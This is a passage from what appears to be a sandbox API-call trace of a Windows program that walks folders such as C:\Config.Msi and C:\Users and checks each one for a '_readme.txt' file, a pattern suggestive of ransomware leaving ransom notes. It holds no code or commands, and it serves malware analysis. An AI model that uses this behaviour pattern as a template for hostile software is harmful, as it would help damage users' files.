nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb311b7f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.723] PathFindExtensionW (pszPath="C:\\Boot\\_readme.txt") returned=".txt" [0066.724] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183078 | out: hHeap=0x5d0000) returned 1 [0066.724] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb311b7f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.724] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.724] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.724] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602a8 | out: hHeap=0x5d0000) returned 1 [0066.724] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.724] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.724] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0066.724] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.724] PathFindFileNameW (pszPath="") returned="" [0066.724] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.724] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.724] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.724] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260118 | out: hHeap=0x5d0000) returned 1 [0066.725] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0066.725] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.725] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260118 | out: hHeap=0x5d0000) returned 1 [0066.725] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.725] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3141950, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.725] PathFindExtensionW (pszPath="C:\\Config.Msi\\_readme.txt") returned=".txt" [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32869b0 | out: hHeap=0x5d0000) returned 1 [0066.725] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3141950, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.725] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.725] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602a8 | out: hHeap=0x5d0000) returned 1 [0066.725] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.725] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.725] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.726] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.726] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.727] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.727] PathFindFileNameW (pszPath="") returned="" [0066.727] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.727] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.727] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.727] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260118 | out: hHeap=0x5d0000) returned 1 [0066.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.727] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.727] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.727] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0066.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0066.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0066.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0066.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.728] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0066.728] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183078 | out: hHeap=0x5d0000) returned 1 [0066.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0066.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0066.728] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.728] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602a8 | out: hHeap=0x5d0000) returned 1 [0066.728] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.728] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.728] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.728] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0066.728] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f858 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f998 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fcb8 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182f98 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182ef0 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260190 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329f158 | out: hHeap=0x5d0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.736] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.736] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] 